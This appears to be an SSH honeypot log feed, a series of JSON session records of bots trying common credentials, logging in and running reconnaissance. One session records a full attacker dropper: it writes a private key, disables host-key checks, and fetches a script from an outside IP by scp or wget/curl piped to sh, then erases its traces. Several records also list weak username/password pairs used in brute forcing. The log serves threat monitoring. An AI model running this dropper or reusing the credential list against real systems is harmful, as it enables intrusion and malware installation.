Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: backuppc
{
"id": "a21971e7b6bb",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:59:08.661182Z",
"end_time": "2026-09-01T22:59:10.055465Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "backuppc",
"pass": "backuppc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: Test
{
"id": "92921da0fa03",
"src_ip": "78.192.21.78",
"start_time": "2026-09-01T22:56:40.119379Z",
"end_time": "2026-09-01T22:56:42.904678Z",
"duration": "2.8",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "Test",
"pass": "P@ssw0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: riccardo
{
"id": "1aed19b9d8f3",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:56:34.866271Z",
"end_time": "2026-09-01T22:56:36.205858Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "riccardo",
"pass": "riccardo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / Password@123
{
"id": "b1b55b695932",
"src_ip": "27.223.98.117",
"start_time": "2026-09-01T22:55:07.105979Z",
"end_time": "2026-09-01T22:55:15.953303Z",
"duration": "8.8",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Password@123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / Password@123
{
"id": "896d25f3c44a",
"src_ip": "125.59.204.176",
"start_time": "2026-09-01T22:54:57.146781Z",
"end_time": "2026-09-01T22:55:06.487324Z",
"duration": "9.3",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Password@123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "3c003c99859c",
"src_ip": "198.235.24.216",
"start_time": "2026-09-01T22:54:36.890924Z",
"end_time": "2026-09-01T22:54:40.441341Z",
"duration": "3.5",
"version": "SSH-2.0-ZGrab ZGrab SSH Survey",
"hassh": "dd9bcf093c355da7000132131cb36fd0",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / pharma
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d7a6ea8a5cb8",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:54:02.878396Z",
"end_time": "2026-09-01T22:54:03.406660Z",
"duration": "0.5",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "pharma"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / 888
{
"id": "ef0670e875c1",
"src_ip": "82.65.140.218",
"start_time": "2026-09-01T22:52:23.643238Z",
"end_time": "2026-09-01T22:52:30.547248Z",
"duration": "6.9",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "888"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 888
{
"id": "18faeec8cae7",
"src_ip": "222.222.124.164",
"start_time": "2026-09-01T22:52:14.683640Z",
"end_time": "2026-09-01T22:52:23.024514Z",
"duration": "8.3",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "888"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / Pass@1234
{
"id": "320aff50eb10",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:51:30.930080Z",
"end_time": "2026-09-01T22:51:33.010824Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Pass@1234"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / bigbrain
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ce9ec53d1641",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:51:29.302608Z",
"end_time": "2026-09-01T22:51:29.906516Z",
"duration": "0.6",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "bigbrain"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: test / default
{
"id": "fd7b517e43ed",
"src_ip": "182.139.39.150",
"start_time": "2026-09-01T22:49:34.029722Z",
"end_time": "2026-09-01T22:49:43.162524Z",
"duration": "9.1",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "default"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: test / default
{
"id": "e103f2cdd557",
"src_ip": "124.152.90.68",
"start_time": "2026-09-01T22:49:24.775894Z",
"end_time": "2026-09-01T22:49:33.225572Z",
"duration": "8.4",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "default"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / 1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "43b3115f9baa",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:48:51.595579Z",
"end_time": "2026-09-01T22:48:52.192739Z",
"duration": "0.6",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "1234"
},
"commands": [
"/bin/./uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "/bin/./uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / 1234qwer!@#$
{
"id": "514704ab0a91",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:48:32.394577Z",
"end_time": "2026-09-01T22:48:34.477760Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1234qwer!@#$"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nutanix
{
"id": "871150f635a3",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:46:15.449335Z",
"end_time": "2026-09-01T22:46:16.787336Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "nutanix",
"pass": "nutanix/4u"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nabeel
{
"id": "532dfd5e2437",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:43:48.971065Z",
"end_time": "2026-09-01T22:43:50.683791Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "nabeel",
"pass": "nabeel"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dbadmin
{
"id": "b227289eca4c",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:42:14.631563Z",
"end_time": "2026-09-01T22:42:17.301095Z",
"duration": "2.7",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [
{
"user": "dbadmin",
"pass": "admin@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "61ad583b94a9",
"src_ip": "104.248.112.58",
"start_time": "2026-09-01T22:39:35.633513Z",
"end_time": "2026-09-01T22:39:35.699423Z",
"duration": "0.1",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / Amir1234
{
"id": "176c49c73967",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:37:58.617716Z",
"end_time": "2026-09-01T22:38:00.719457Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Amir1234"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: default
{
"id": "72a7d0eecfb7",
"src_ip": "36.92.35.211",
"start_time": "2026-09-01T22:36:19.379548Z",
"end_time": "2026-09-01T22:36:27.630975Z",
"duration": "8.2",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "default",
"pass": "default33"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / password321
{
"id": "ee1cc0c5157f",
"src_ip": "201.63.52.54",
"start_time": "2026-09-01T22:34:54.599588Z",
"end_time": "2026-09-01T22:35:02.724554Z",
"duration": "8.1",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "password321"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "9201fc709f69",
"src_ip": "77.90.185.16",
"start_time": "2026-09-01T22:34:53.057455Z",
"end_time": "2026-09-01T22:34:53.227901Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: user / password321
{
"id": "bddca4782615",
"src_ip": "113.108.88.121",
"start_time": "2026-09-01T22:34:37.330024Z",
"end_time": "2026-09-01T22:34:50.062060Z",
"duration": "12.7",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "password321"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "125e93221b4b",
"src_ip": "149.3.97.245",
"start_time": "2026-09-01T22:32:47.461598Z",
"end_time": "2026-09-01T22:32:47.464690Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: administrator
{
"id": "1010a5a91434",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:32:35.827230Z",
"end_time": "2026-09-01T22:32:38.505223Z",
"duration": "2.7",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [
{
"user": "administrator",
"pass": "administrator@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "64d9e239f42e",
"src_ip": "192.168.0.1",
"start_time": "2026-09-01T22:30:35.025656Z",
"end_time": "2026-09-01T22:30:35.037997Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ubnt
{
"id": "7aee81ce458d",
"src_ip": "85.152.57.60",
"start_time": "2026-09-01T22:29:03.022623Z",
"end_time": "2026-09-01T22:29:06.210438Z",
"duration": "3.2",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "ubnt",
"pass": "P@ssword"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Mohamad@1234
{
"id": "3ec8aee9dd07",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:27:06.558250Z",
"end_time": "2026-09-01T22:27:08.567550Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Mohamad@1234"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 0
{
"id": "e0e99fbd28c7",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:23:02.517601Z",
"end_time": "2026-09-01T22:23:04.635418Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "0"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b7e062715042",
"src_ip": "198.235.24.254",
"start_time": "2026-09-01T22:19:54.084116Z",
"end_time": "2026-09-01T22:19:54.234021Z",
"duration": "0.1",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / Mostafa@1234
{
"id": "65b6a81f7540",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:16:12.201137Z",
"end_time": "2026-09-01T22:16:14.260713Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Mostafa@1234"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: supervisor
{
"id": "7ba0cb08ab1c",
"src_ip": "96.56.228.149",
"start_time": "2026-09-01T22:15:54.560799Z",
"end_time": "2026-09-01T22:15:58.721858Z",
"duration": "4.2",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "supervisor",
"pass": "qwerty"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: supervisor
{
"id": "b839e982e579",
"src_ip": "14.97.77.182",
"start_time": "2026-09-01T22:14:14.784255Z",
"end_time": "2026-09-01T22:14:19.339325Z",
"duration": "4.6",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "supervisor",
"pass": "supervisor1234567890"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / admin
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "728fbfe1b43f",
"src_ip": "130.12.180.51",
"start_time": "2026-09-01T22:14:13.340091Z",
"end_time": "2026-09-01T22:14:15.507339Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [
"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh"
],
"detailed_commands": [
{
"cmd": "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 120,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "95782ca1e9e2",
"src_ip": "175.33.226.3",
"start_time": "2026-09-01T22:14:12.416924Z",
"end_time": "2026-09-01T22:14:13.300291Z",
"duration": "0.9",
"version": "\\xfe\u0007adminSSH-2.0-OpenSSH_7.4",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / Password
{
"id": "bb2a38794961",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:13:36.332840Z",
"end_time": "2026-09-01T22:13:38.379120Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Password"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "ef71d1b543e8",
"src_ip": "176.53.159.196",
"start_time": "2026-09-01T22:10:12.298145Z",
"end_time": "2026-09-01T22:10:13.520660Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a3f1fd174eb7",
"src_ip": "49.124.152.231",
"start_time": "2026-09-01T22:09:09.778160Z",
"end_time": "2026-09-01T22:09:10.130317Z",
"duration": "0.3",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: test / 1973
{
"id": "fceeb567c31c",
"src_ip": "122.160.15.31",
"start_time": "2026-09-01T22:08:47.817293Z",
"end_time": "2026-09-01T22:08:57.263229Z",
"duration": "9.4",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "1973"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: test / 1973
{
"id": "71f96807d035",
"src_ip": "83.255.210.166",
"start_time": "2026-09-01T22:08:39.796466Z",
"end_time": "2026-09-01T22:08:46.853400Z",
"duration": "7.1",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "1973"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: probe
{
"id": "ef0fda4e9c55",
"src_ip": "193.46.255.86",
"start_time": "2026-09-01T22:06:04.104603Z",
"end_time": "2026-09-01T22:06:06.189243Z",
"duration": "2.1",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "probe",
"pass": ""
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Mahdi1234
{
"id": "b31d69d9e517",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:05:41.114897Z",
"end_time": "2026-09-01T22:05:43.216584Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Mahdi1234"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1db79c77c0a1",
"src_ip": "45.148.10.152",
"start_time": "2026-09-01T22:05:17.320246Z",
"end_time": "2026-09-01T22:05:18.091600Z",
"duration": "0.8",
"version": "SSH-2.0-PUTTY",
"hassh": "5bd26477da5440a6187bd3f1b39a429c",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "e152312c518c",
"src_ip": "218.13.227.224",
"start_time": "2026-09-01T22:04:30.145534Z",
"end_time": "2026-09-01T22:04:32.018800Z",
"duration": "1.9",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / admin@123
{
"id": "b68ae3905042",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T22:04:03.567653Z",
"end_time": "2026-09-01T22:04:05.680876Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin@123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "6d72427879ac",
"src_ip": "201.28.176.31",
"start_time": "2026-09-01T21:55:41.040258Z",
"end_time": "2026-09-01T21:55:41.818608Z",
"duration": "0.8",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: test / alpine
{
"id": "cebe445e01a0",
"src_ip": "170.233.29.175",
"start_time": "2026-09-01T21:55:26.986241Z",
"end_time": "2026-09-01T21:55:34.991806Z",
"duration": "8.0",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "alpine"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Mehdi1234
{
"id": "d5862e6f27e9",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T21:54:51.025191Z",
"end_time": "2026-09-01T21:54:53.101291Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Mehdi1234"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / Admin12345
{
"id": "cdbd5d063cfd",
"src_ip": "217.60.255.130",
"start_time": "2026-09-01T21:54:24.577289Z",
"end_time": "2026-09-01T21:54:26.604245Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.10.4",
"hassh": "419da4c91ddbffebead14645bebc93b9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Admin12345"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
